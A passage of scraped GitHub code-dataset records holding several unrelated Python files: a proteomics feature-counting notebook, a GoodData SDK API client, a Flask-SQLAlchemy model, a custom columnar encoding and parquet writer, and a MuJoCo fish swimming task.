{len(selection_no_gene)}\")\nselection_no_gene\n\n# %%\nselection = vaep.pandas.select_max_by(df=selection.loc[~mask_no_gene].reset_index(), grouping_columns=[pg_cols.Gene_names], selection_column=pg_cols.Score)\nlogging.info(f\"Selection shape after dropping duplicates by gene: {selection.shape}\")\nselection = selection.set_index(pg_cols.Protein_IDs)\nmask = selection[cols.Gene_names].isin(non_unique_genes)\nselection.loc[mask]\n\n# %%\nselection = selection.append(selection_no_gene)\n\n# %%\nprotein_groups_counter = vaep.io.data_objects.ProteinGroupsCounter(FNAME_C_PG, overwrite=OVERWRITE)\nc = protein_groups_counter.sum_over_files(folders=folders)\n\n# %%\nvaep.pandas.counts_with_proportion(pd.Series(c)) # Most proteinGroups are unique\n\n# %% [markdown]\n# ### Count genes\n# Genes sets could be used to identify common features.\n#\n# > The assignment of isoforms to one proteinGroup or another might be volatile. \n# > A single (unique) peptide could lead to different assignments.\n# > Imputation on the evidence level could be a way to alleviate this problem\n#\n# - If genes set are not unique for a single run, one would have to decide which to take\n\n# %%\ngene_counter = vaep.io.data_objects.GeneCounter(FNAME_C_GENES, overwrite=OVERWRITE)\n\nif not gene_counter.dumps:\n #empty dict, replace\n gene_counter.dumps = dict(protein_groups_counter.dumps) # prot proteinGroups files to GeneCounter\npg_dumps = list(gene_counter.dumps.values())\n\nc_genes = gene_counter.sum_over_files(folders=pg_dumps)\n\nc_genes = pd.Series(c_genes)\nvaep.pandas.counts_with_proportion(c_genes) # Most proteinGroups are unique\n\n# %% [markdown] Collapsed=\"false\"\n# ## Theoretial Peptides from used fasta-file\n#\n# > `01_explore_FASTA.ipynb` (formely `misc_FASTA_tryptic_digest.ipynb`)\n\n# %% [markdown]\n#\n", "repo_name": "RasmussenLab/pimms", "sub_path": "project/erda_02_mq_count_features.py", "file_name": "erda_02_mq_count_features.py", "file_ext": "py", "file_size_in_byte": 11614, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "vaep.logging.setup_nb_logger", "line_number": 32, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 46, "usage_type": "call"}, {"api_name": "config.FOLDER_MQ_TXT_DATA", "line_number": 46, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 52, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 53, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 56, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 57, "usage_type": "call"}, {"api_name": "yaml.safe_load", "line_number": 59, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 62, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 67, "usage_type": "call"}, {"api_name": "config.FOLDER_MQ_TXT_DATA", "line_number": 71, "usage_type": "name"}, {"api_name": "config.FNAME_C_PEPTIDES", "line_number": 80, "usage_type": "name"}, {"api_name": "config.FNAME_C_EVIDENCE", "line_number": 80, "usage_type": "name"}, {"api_name": "config.FNAME_C_PG", "line_number": 80, "usage_type": "name"}, {"api_name": "config.FNAME_C_GENES", "line_number": 80, "usage_type": "name"}, {"api_name": "pandas.set_option", "line_number": 87, "usage_type": "call"}, {"api_name": "random.sample", "line_number": 88, "usage_type": "call"}, {"api_name": "vaep.io.mq.MaxQuantOutputDynamic", "line_number": 89, "usage_type": "call"}, {"api_name": "pandas.read_json", "line_number": 107, "usage_type": "call"}, {"api_name": "vaep.io.data_objects.PeptideCounter", "line_number": 116, "usage_type": "call"}, {"api_name": "config.FNAME_C_PEPTIDES", "line_number": 116, "usage_type": "argument"}, {"api_name": "config.FOLDER_PROCESSED", "line_number": 141, "usage_type": "name"}, {"api_name": "vaep.logging.pandas.get_columns_accessor", "line_number": 160, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 160, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 160, "usage_type": "name"}, {"api_name": "vaep.logging.pandas.prop_unique_index", "line_number": 174, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 174, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 174, "usage_type": "name"}, {"api_name": "vaep.logging.io", "line_number": 188, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 188, "usage_type": "name"}, {"api_name": "vaep.logging.io.data_objects.select_evidence", "line_number": 191, "usage_type": "call"}, {"api_name": "vaep.logging.io", "line_number": 191, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 191, "usage_type": "name"}, {"api_name": "vaep.logging.pandas.select_max_by", "line_number": 199, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 199, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 199, "usage_type": "name"}, {"api_name": "collections.Counter", "line_number": 204, "usage_type": "call"}, {"api_name": "vaep.logging.pandas.show_columns_with_variation", "line_number": 211, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 211, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 211, "usage_type": "name"}, {"api_name": "vaep.logging.io.data_objects.EvidenceCounter", "line_number": 232, "usage_type": "call"}, {"api_name": "config.FNAME_C_EVIDENCE", "line_number": 232, "usage_type": "argument"}, {"api_name": "vaep.logging.io", "line_number": 232, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 232, "usage_type": "name"}, {"api_name": "vaep.logging.pandas.get_columns_accessor", "line_number": 246, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 246, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 246, "usage_type": "name"}, {"api_name": "pandas.options", "line_number": 263, "usage_type": "attribute"}, {"api_name": "pandas.options", "line_number": 264, "usage_type": "attribute"}, {"api_name": "vaep.logging.pandas", "line_number": 301, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 301, "usage_type": "name"}, {"api_name": "vaep.logging.pandas.get_columns_accessor", "line_number": 307, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 307, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 307, "usage_type": "name"}, {"api_name": "vaep.logging.pandas.counts_with_proportion", "line_number": 308, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 308, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 308, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 339, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 342, "usage_type": "call"}, {"api_name": "vaep.logging.pandas.select_max_by", "line_number": 346, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 346, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 346, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 347, "usage_type": "call"}, {"api_name": "vaep.logging.io.data_objects.ProteinGroupsCounter", "line_number": 356, "usage_type": "call"}, {"api_name": "config.FNAME_C_PG", "line_number": 356, "usage_type": "argument"}, {"api_name": "vaep.logging.io", "line_number": 356, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 356, "usage_type": "name"}, {"api_name": "vaep.logging.pandas.counts_with_proportion", "line_number": 360, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 360, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 360, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 360, "usage_type": "call"}, {"api_name": "vaep.logging.io.data_objects.GeneCounter", "line_number": 373, "usage_type": "call"}, {"api_name": "config.FNAME_C_GENES", "line_number": 373, "usage_type": "argument"}, {"api_name": "vaep.logging.io", "line_number": 373, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 373, "usage_type": "name"}, {"api_name": "pandas.Series", "line_number": 382, "usage_type": "call"}, {"api_name": "vaep.logging.pandas.counts_with_proportion", "line_number": 383, "usage_type": "call"}, {"api_name": "vaep.logging.pandas", "line_number": 383, "usage_type": "attribute"}, {"api_name": "vaep.logging", "line_number": 383, "usage_type": "name"}]} {"seq_id": "20438024628", "text": "# (C) 2021 GoodData Corporation\n\"\"\" Module containing a class that provides access to metadata and afm services.\n\"\"\"\n\n\nfrom __future__ import annotations\n\nfrom typing import Optional\n\nimport gooddata_afm_client as afm_client\nimport gooddata_metadata_client as metadata_client\nimport gooddata_scan_client as scan_client\nfrom gooddata_sdk import __version__\n\nUSER_AGENT = f\"gooddata-python-sdk/{__version__}\"\n\n\nclass GoodDataApiClient:\n \"\"\"Provide access to metadata and afm services.\"\"\"\n\n def __init__(\n self,\n host: str,\n token: str,\n custom_headers: Optional[dict[str, str]] = None,\n extra_user_agent: Optional[str] = None,\n ) -> None:\n \"\"\"Take url, token for connecting to GoodData.CN.\n\n HTTP requests made by this class may be enriched by `custom_headers` dict\n containing header names as keys and header values as dict values.\n\n `extra_user_agent` is optional string to be added to default http User-Agent\n header. This takes precedence over custom_headers setting.\n \"\"\"\n self._hostname = host\n self._token = token\n self._custom_headers = custom_headers or {}\n\n user_agent = f\"{USER_AGENT} {extra_user_agent}\" if extra_user_agent is not None else USER_AGENT\n\n self._metadata_config = metadata_client.Configuration(host=host)\n self._metadata_client = metadata_client.ApiClient(\n configuration=self._metadata_config,\n header_name=\"Authorization\",\n header_value=f\"Bearer {token}\",\n )\n self._set_default_headers(self._metadata_client.default_headers)\n for header_name, header_value in self._custom_headers.items():\n self._metadata_client.default_headers[header_name] = header_value\n self._metadata_client.user_agent = user_agent\n\n self._scan_config = scan_client.Configuration(host=host)\n self._scan_client = scan_client.ApiClient(\n configuration=self._scan_config,\n header_name=\"Authorization\",\n header_value=f\"Bearer {token}\",\n )\n self._set_default_headers(self._scan_client.default_headers)\n for header_name, header_value in self._custom_headers.items():\n self._scan_client.default_headers[header_name] = header_value\n self._scan_client.user_agent = user_agent\n\n self._afm_config = afm_client.Configuration(host=host)\n self._afm_client = afm_client.ApiClient(\n configuration=self._afm_config,\n header_name=\"Authorization\",\n header_value=f\"Bearer {token}\",\n )\n self._set_default_headers(self._afm_client.default_headers)\n for header_name, header_value in self._custom_headers.items():\n self._afm_client.default_headers[header_name] = header_value\n self._afm_client.user_agent = user_agent\n\n @staticmethod\n def _set_default_headers(headers: dict) -> None:\n headers[\"X-Requested-With\"] = \"XMLHttpRequest\"\n headers[\"X-GDC-VALIDATE-RELATIONS\"] = \"true\"\n\n @property\n def afm_client(self) -> afm_client.ApiClient:\n return self._afm_client\n\n @property\n def metadata_client(self) -> metadata_client.ApiClient:\n return self._metadata_client\n\n @property\n def scan_client(self) -> scan_client.ApiClient:\n return self._scan_client\n", "repo_name": "lupko/gooddata-python-sdk", "sub_path": "gooddata-sdk/gooddata_sdk/client.py", "file_name": "client.py", "file_ext": "py", "file_size_in_byte": 3352, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "gooddata_sdk.__version__", "line_number": 15, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 25, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 26, "usage_type": "name"}, {"api_name": "gooddata_metadata_client.Configuration", "line_number": 42, "usage_type": "call"}, {"api_name": "gooddata_metadata_client.ApiClient", "line_number": 43, "usage_type": "call"}, {"api_name": "gooddata_scan_client.Configuration", "line_number": 53, "usage_type": "call"}, {"api_name": "gooddata_scan_client.ApiClient", "line_number": 54, "usage_type": "call"}, {"api_name": "gooddata_afm_client.Configuration", "line_number": 64, "usage_type": "call"}, {"api_name": "gooddata_afm_client.ApiClient", "line_number": 65, "usage_type": "call"}, {"api_name": "gooddata_afm_client.ApiClient", "line_number": 81, "usage_type": "attribute"}, {"api_name": "gooddata_metadata_client.ApiClient", "line_number": 85, "usage_type": "attribute"}, {"api_name": "gooddata_scan_client.ApiClient", "line_number": 89, "usage_type": "attribute"}]} {"seq_id": "11174232216", "text": "from flask_sqlalchemy import SQLAlchemy \nfrom sqlalchemy.orm import relationship\nfrom .db import db\nclass Mall(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(50))\n account_id=db.Column(db.Integer, db.ForeignKey('account.id'))\n \n unit = relationship(\"Unit\", uselist=False, back_populates=\"mall\") # one to one \n \n\n def __repr__(self):\n return '' % self.name ", "repo_name": "benaissaa/update_test", "sub_path": "app_api/Model/mall.py", "file_name": "mall.py", "file_ext": "py", "file_size_in_byte": 438, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "db.db.Model", "line_number": 4, "usage_type": "attribute"}, {"api_name": "db.db", "line_number": 4, "usage_type": "name"}, {"api_name": "db.db.Column", "line_number": 5, "usage_type": "call"}, {"api_name": "db.db", "line_number": 5, "usage_type": "name"}, {"api_name": "db.db.Integer", "line_number": 5, "usage_type": "attribute"}, {"api_name": "db.db.Column", "line_number": 6, "usage_type": "call"}, {"api_name": "db.db", "line_number": 6, "usage_type": "name"}, {"api_name": "db.db.String", "line_number": 6, "usage_type": "call"}, {"api_name": "db.db.Column", "line_number": 7, "usage_type": "call"}, {"api_name": "db.db", "line_number": 7, "usage_type": "name"}, {"api_name": "db.db.Integer", "line_number": 7, "usage_type": "attribute"}, {"api_name": "db.db.ForeignKey", "line_number": 7, "usage_type": "call"}, {"api_name": "sqlalchemy.orm.relationship", "line_number": 9, "usage_type": "call"}]} {"seq_id": "70680031910", "text": "import pandas\nMARKER = b'PAR1'\nimport struct\nimport msgpack\nfrom io import BytesIO as cStringIO\nfrom array import array\nimport zlib\nimport numpy\ndef differ(first, second):\n return [item for item in first if item not in second] \n\ndef globalorder(f,gdict, chunk, ordering):\n output = cStringIO()\n output.truncate(0)\n headindex = [0]*4\n minmax = [None]*2\n minmax[0] = min(chunk)\n minmax[1] = max(chunk)\n type = 'i'*len(headindex)\n output.write(struct.pack(type, *headindex))\n l1 = output.tell()\n output.write(msgpack.dumps(minmax))\n l2 = output.tell()\n headindex[0] = l2-l1\n v = len(gdict)\n newvals = differ(set(list(chunk)), gdict)\n for val in newvals:\n gdict[val] = v\n v+=1\n \n l3 = output.tell()\n if minmax[0] != minmax[1]:\n offsets = [gdict[y] for y in chunk]\n ll = max(offsets)\n if ll<256:\n type1 = 'B'\n headindex[2] = 2\n elif ll<65536:\n type1 = 'H'\n #type1 = np.int16\n headindex[2] = 1\n else:\n type1 = 'i'\n #type1 = np.int32\n output.write(struct.pack(type1*len(offsets), *offsets))\n else:\n \toutput.write(struct.pack('i',gdict[minmax[0]]))\n #output.write(array(type1,[coldict[y] for y in chunk]).tostring())\n l4 = output.tell()\n headindex[1] = l4-l3\n headindex[3] = len(chunk)\n output.seek(0)\n output.write(struct.pack(type, *headindex))\n return output.getvalue()\n\n\ndef write_global(data,filen, ordering, row_group_offsets):\n gdict = {}\n blocksdump = []\n f = open(filen,\"w+b\")\n f.write(MARKER)\n headindex = [0]*4\n l = len(data)\n headindex[0] = l\n headindex[1] = len(data.columns)\n type = 'i'*len(headindex)\n f.write(struct.pack(type, *headindex))\n nparts = max((l - 1) // row_group_offsets + 1, 1)\n chunksize = max(min((l - 1) // nparts + 1, l), 1)\n blocks = [0]*(nparts+1)\n blocks[nparts] = chunksize\n headindex[3] = nparts\n blocksind = f.tell()\n f.write(struct.pack('L'*len(blocks),*blocks))\n for col in data:\n i=0 \n j=1\n for part in range(nparts):\n chunk = data[col][chunksize*i:chunksize*j]\n blocksdump.append(globalorder(f,gdict, chunk, ordering))\n i+=1\n j+=1 \n l1 = f.tell()\n f.write(msgpack.dumps(sorted(gdict.keys(), key=gdict.get)))\n l2 = f.tell()\n headindex[2] = l2-l1\n f.seek(4)\n f.write(struct.pack(type, *headindex))\n f.seek(l2)\n i = 0\n for bl in blocksdump:\n blocks[i] = f.tell()\n f.write(bl)\n i+=1\n f.seek(blocksind)\n f.write(struct.pack('L'*len(blocks),*blocks)) \n\n\n\nimport numpy as np\n\ndef globalindirect(f,global_dict,ordering,chunk):\n output = cStringIO()\n indirect = 0\n output.truncate(0)\n headindex = [0]*7\n minmax = [None]*2\n minmax[0] = min(chunk)\n minmax[1] = max(chunk)\n local_dict = np.sort(chunk.unique())\n \n type = 'i'*len(headindex)\n output.write(struct.pack(type, *headindex))\n l1 = output.tell()\n output.write(msgpack.dumps(minmax))\n l2 = output.tell()\n headindex[0] = l2-l1\n coldict = {}\n \n size_1 = len(local_dict) \n size_2 = len(global_dict) \n \n res2 = [None]*size_1\n i, j = 0, 0\n if not ordering:\n res2 = list(np.intersect1d(local_dict,global_dict,assume_unique=True,return_indices=True)[2])\n else:\n while i < size_1: \n if local_dict[i] > global_dict[j]: \n j+=1\n elif local_dict[i] == global_dict[j]:\n res2[i] = j\n i += 1\n j += 1\n \n \n ### chose if indirect\n locallen = len(local_dict)\n maxres = max(res2)\n globallen = len(global_dict)\n datalen = len(chunk)\n if locallen < 256:\n s1 = 1\n elif locallen < 65536:\n s1 = 2\n else:\n s1 = 4\n if globallen < 256:\n s2 = 1\n elif globallen < 65536:\n s2 = 2\n else:\n s2 = 4\n if maxres < 256:\n s3 = 1\n elif maxres < 65536:\n s3 = 2\n else:\n s3 = 4\n \n if datalen*s1 + locallen*s3 < datalen*s2:\n indirect = 1\n #######################\n \n if indirect: \n coldict = dict(((x, y) for y, x in enumerate(local_dict)))\n else:\n coldict = dict(((x, y) for y, x in enumerate(global_dict)))\n \n \n l3 = output.tell()\n if minmax[0] != minmax[1]:\n offsets = [coldict[y] for y in chunk]\n ll = max(offsets)\n if ll<256:\n type1 = 'B'\n headindex[2] = 2\n elif ll<65536:\n type1 = 'H'\n #type1 = np.int16\n headindex[2] = 1\n else:\n type1 = 'i'\n #type1 = np.int32\n globall = max(res2)\n if globall<256:\n type2 = 'B'\n headindex[5] = 2\n elif globall<65536:\n type2 = 'H'\n #type1 = np.int16\n headindex[5] = 1\n else:\n type2 = 'i'\n l4 = output.tell()\n if indirect:\n output.write(struct.pack(type2*len(res2), *res2))\n l4 = output.tell()\n headindex[4] = l4-l3 # here is the size of the indirect mapping stored after minmax\n headindex[6] = len(res2)\n output.write(struct.pack(type1*len(offsets), *offsets))\n else:\n output.write(struct.pack('i',int(np.where(global_dict == minmax[0])[0])))\n headindex[6] = 1\n l4 = output.tell()\n headindex[4] = l4-l3\n output.write(struct.pack('i',coldict[minmax[0]]))\n #output.write(array(type1,[coldict[y] for y in chunk]).tostring())\n l5 = output.tell()\n headindex[1] = l5-l4\n headindex[3] = len(chunk)\n output.seek(0)\n output.write(struct.pack(type, *headindex))\n f.write(output.getvalue())\n\n\ndef write_indirect(data,filen, ordering, row_group_offsets):\n f = open(filen,\"w+b\")\n f.write(MARKER)\n headindex = [0]*4\n l = len(data)\n headindex[0] = l\n headindex[1] = len(data.columns)\n type = 'i'*len(headindex)\n f.write(struct.pack(type, *headindex))\n nparts = max((l - 1) // row_group_offsets + 1, 1)\n chunksize = max(min((l - 1) // nparts + 1, l), 1)\n blocks = [0]*(nparts+1)\n blocks[nparts] = chunksize\n headindex[3] = nparts\n blocksind = f.tell()\n f.write(struct.pack('L'*len(blocks),*blocks))\n \n headindex[3] = nparts\n for col in data:\n l1 = f.tell()\n if ordering == 1:\n global_dict = sorted(data[col].unique())\n f.write(msgpack.dumps(global_dict))\n else:\n global_dict = data[col].unique()\n f.write(msgpack.dumps(list(global_dict)))\n l2 = f.tell()\n headindex[2] = l2-l1\n f.seek(4)\n f.write(struct.pack(type, *headindex))\n f.seek(l2)\n i=0\n j=1\n for part in range(nparts):\n blocks[i] = f.tell()\n chunk = data[col][chunksize*i:chunksize*j]\n globalindirect(f,global_dict,ordering,chunk)\n i+=1\n j+=1\n f.seek(blocksind)\n f.write(struct.pack('L'*len(blocks),*blocks))\n\n\nimport pyarrow as pa\nimport pyarrow.parquet as pq\n\ndef write_parquet(data,filen, row_group_offsets):\n if row_group_offsets == -1:\n table = pa.Table.from_pandas(data)\n pq.write_table(table, filen)\n return\n \n l = len(data)\n nparts = max((l - 1) // row_group_offsets + 1, 1)\n chunksize = max(min((l - 1) // nparts + 1, l), 1)\n \n ## write default no row groups\n #pq.write_table(table, 'example.parquet',compression={'10.1145/3025453.3025878': 'snappy', '10.1145/2317956.2318088': 'gzip'},use_dictionary=['10.1145/3025453.3025878','10.1145/2317956.2318088'])\n \n \n \n c = 0\n table = pa.Table.from_pandas(data)\n writer = pq.ParquetWriter(filen, table.schema, use_dictionary = True)\n for i in range(nparts):\n if i!=nparts:\n writer.write_table(table[c*chunksize:chunksize+c*chunksize])\n c+=1\n else:\n writer.write_table(table[:len(data)%chunksize])\n writer.close()\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "repo_name": "johnfouf/SIGMOD_REPRODUCIBILITY", "sub_path": "pyimplementation/global_encoding_opt.py", "file_name": "global_encoding_opt.py", "file_ext": "py", "file_size_in_byte": 8125, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "io.BytesIO", "line_number": 13, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 20, "usage_type": "call"}, {"api_name": "msgpack.dumps", "line_number": 22, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 45, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 47, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 53, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 67, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 74, "usage_type": "call"}, {"api_name": "msgpack.dumps", "line_number": 84, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 88, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 96, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 103, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 110, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 113, "usage_type": "call"}, {"api_name": "msgpack.dumps", "line_number": 115, "usage_type": "call"}, {"api_name": "numpy.intersect1d", "line_number": 126, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 197, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 201, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 203, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 203, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 207, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 213, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 225, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 232, "usage_type": "call"}, {"api_name": "msgpack.dumps", "line_number": 239, "usage_type": "call"}, {"api_name": "msgpack.dumps", "line_number": 242, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 246, "usage_type": "call"}, {"api_name": "struct.pack", "line_number": 257, "usage_type": "call"}, {"api_name": "pyarrow.Table.from_pandas", "line_number": 265, "usage_type": "call"}, {"api_name": "pyarrow.Table", "line_number": 265, "usage_type": "attribute"}, {"api_name": "pyarrow.parquet.write_table", "line_number": 266, "usage_type": "call"}, {"api_name": "pyarrow.parquet", "line_number": 266, "usage_type": "name"}, {"api_name": "pyarrow.Table.from_pandas", "line_number": 279, "usage_type": "call"}, {"api_name": "pyarrow.Table", "line_number": 279, "usage_type": "attribute"}, {"api_name": "pyarrow.parquet.ParquetWriter", "line_number": 280, "usage_type": "call"}, {"api_name": "pyarrow.parquet", "line_number": 280, "usage_type": "name"}]} {"seq_id": "12467925936", "text": "import collections\nimport csv\nfrom dm_control import mujoco\nfrom dm_control.rl import control\nfrom dm_control.suite import base\nfrom dm_control.suite import common\nfrom dm_control.utils import containers\nfrom dm_control.utils import rewards\nimport numpy as np\nimport os\n\n\n_DEFAULT_TIME_LIMIT = 40\n_CONTROL_TIMESTEP = .04\n_JOINTS = ['root',\n 'tail1',\n # 'tail_twist',\n 'tail2']\n # 'finright_roll',\n # 'finright_pitch',\n # 'finleft_roll',\n # 'finleft_pitch']\nSUITE = containers.TaggedTasks()\n\n\ndef get_model_and_assets():\n \"\"\"Returns a tuple containing the model XML string and a dict of assets.\"\"\"\n # return common.read_model(os.path.join(os.path.abspath('./'),'fishD.xml')), common.ASSETS\n return common.read_model(os.path.join(os.path.dirname(os.path.realpath(__file__)),'fishD.xml')), common.ASSETS\n # return common.read_model(sys.a'fishD.xml'), common.ASSETS\n\n\n@SUITE.add('benchmarking')\ndef swim(time_limit=_DEFAULT_TIME_LIMIT, random=None, environment_kwargs=None):\n \"\"\"Returns the Fish Swim task.\"\"\"\n physics = Physics.from_xml_string(*get_model_and_assets())\n task = Swim(random=random)\n environment_kwargs = environment_kwargs or {}\n return control.Environment(physics, task, control_timestep=_CONTROL_TIMESTEP, time_limit=time_limit,\n **environment_kwargs)\n\n\nclass Physics(mujoco.Physics):\n \"\"\"Physics simulation with additional features for the Fish domain.\"\"\"\n\n def upright(self):\n \"\"\"Returns projection from z-axes of torso to the z-axes of worldbody.\"\"\"\n return self.named.data.xmat['torso', 'zz']\n\n def torso_velocity(self):\n \"\"\"Returns velocities and angular velocities of the torso.\"\"\"\n return self.data.sensordata\n\n def joint_velocities(self):\n \"\"\"Returns the joint velocities.\"\"\"\n return self.named.data.qvel[_JOINTS]\n\n def joint_angles(self):\n \"\"\"Returns the joint positions.\"\"\"\n return self.named.data.qpos[_JOINTS]\n\n def mouth_to_target(self):\n \"\"\"Returns a vector, from mouth to target in local coordinate of mouth.\"\"\"\n data = self.named.data\n mouth_to_target_global = data.geom_xpos['target'] - data.geom_xpos['mouth']\n return mouth_to_target_global.dot(data.geom_xmat['mouth'].reshape(3, 3))\n\n\n\n\nclass Swim(base.Task):\n \"\"\"A Fish `Task` for swimming with smooth reward.\"\"\"\n\n def __init__(self, random=None,reward_mode='speed'):\n \"\"\"Initializes an instance of `Swim`.\n\n Args:\n random: Optional, either a `numpy.random.RandomState` instance, an\n integer seed for creating a new `RandomState`, or None to select a seed\n automatically (default).\n \"\"\"\n self.reward_mode = reward_mode\n self.init=True\n f1 = open('./log-fish.csv', \"w\") #erase\n super().__init__(random=random)\n\n def initialize_episode(self, physics):\n \"\"\"Sets the state of the environment at the start of each episode.\"\"\"\n\n # quat = self.random.randn(4)\n # physics.named.data.qpos['root'][3:7] = quat / np.linalg.norm(quat)\n # for joint in _JOINTS:\n # physics.named.data.qpos[joint] = self.random.uniform(-.2, .2)\n # # Randomize target position.\n # physics.named.model.geom_pos['target', 'x'] = self.random.uniform(-.4, .4)\n # physics.named.model.geom_pos['target', 'y'] = self.random.uniform(-.4, .4)\n # physics.named.model.geom_pos['target', 'z'] = self.random.uniform(.1, .3)\n super().initialize_episode(physics)\n\n def get_observation(self, physics):\n \"\"\"Returns an observation of joints, target direction and velocities.\"\"\"\n obs = collections.OrderedDict()\n obs['joint_angles'] = physics.joint_angles()\n # obs['upright'] = physics.upright()\n # obs['target'] = physics.mouth_to_target()\n obs['velocity'] = physics.joint_velocities()\n return obs\n\n def get_reward(self, physics):\n \"\"\"Returns a smooth reward.\"\"\"\n radii = physics.named.model.geom_size[['mouth', 'target'], 0].sum()\n in_target = rewards.tolerance(np.linalg.norm(physics.mouth_to_target()), bounds=(0, radii), margin=2*radii)\n # is_upright = 0.5 * (physics.upright() + 1)\n if self.reward_mode=='speed':\n # return np.array([physics.named.data.xpos['torso', 'y']])#good\n # return physics.named.data.qpos['root']\n # t=physics.named.data.qvel['root']\n # print(physics.named.data.qvel['root'])\n return physics.named.data.qvel['root'][0]\n return in_target\n\n # def after_step(self,physics):\n # row = {'j_p': physics.named.data.qpos[_JOINTS[0]][0], 'j_v': physics.named.data.qvel[_JOINTS[0]][0], 'j_acc': physics.named.data.qacc[_JOINTS[0]][0],\n # 's_acc': physics.named.data.qacc[\"root\"][0], 's_p': physics.named.data.qpos[\"root\"][0], 's_v': physics.named.data.qvel[\"root\"][0], 'F_x':physics.named.data.sensordata[6],'F_y':physics.named.data.sensordata[7],'F_z':physics.named.data.sensordata[8]}\n #\n # with open('./log-fish-results.csv', 'a', newline='') as f:\n # # with open('./log.csv', 'a', newline='') as f:\n # # create the csv writer\n # writer = csv.DictWriter(f, fieldnames=row.keys())\n # if self.init:\n # writer.writeheader()\n # self.init = False\n # # write a row to the csv file\n # writer.writerow(row)\n # f.close()", "repo_name": "ss555/drqv2", "sub_path": "custom_Mujoco_tasks/fish_tasks_envs/fishD.py", "file_name": "fishD.py", "file_ext": "py", "file_size_in_byte": 5240, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "dm_control.utils.containers.TaggedTasks", "line_number": 23, "usage_type": "call"}, {"api_name": "dm_control.utils.containers", "line_number": 23, "usage_type": "name"}, {"api_name": "dm_control.suite.common.read_model", "line_number": 29, "usage_type": "call"}, {"api_name": "dm_control.suite.common", "line_number": 29, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 29, "usage_type": "call"}, {"api_name": "dm_control.suite.common.ASSETS", "line_number": 29, "usage_type": "attribute"}, {"api_name": "dm_control.rl.control.Environment", "line_number": 39, "usage_type": "call"}, {"api_name": "dm_control.rl.control", "line_number": 39, "usage_type": "name"}, {"api_name": "dm_control.mujoco.Physics", "line_number": 43, "usage_type": "attribute"}, {"api_name": "dm_control.mujoco", "line_number": 43, "usage_type": "name"}, {"api_name": "dm_control.suite.base.Task", "line_number": 71, "usage_type": "attribute"}, {"api_name": "dm_control.suite.base", "line_number": 71, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 102, "usage_type": "call"}, {"api_name": 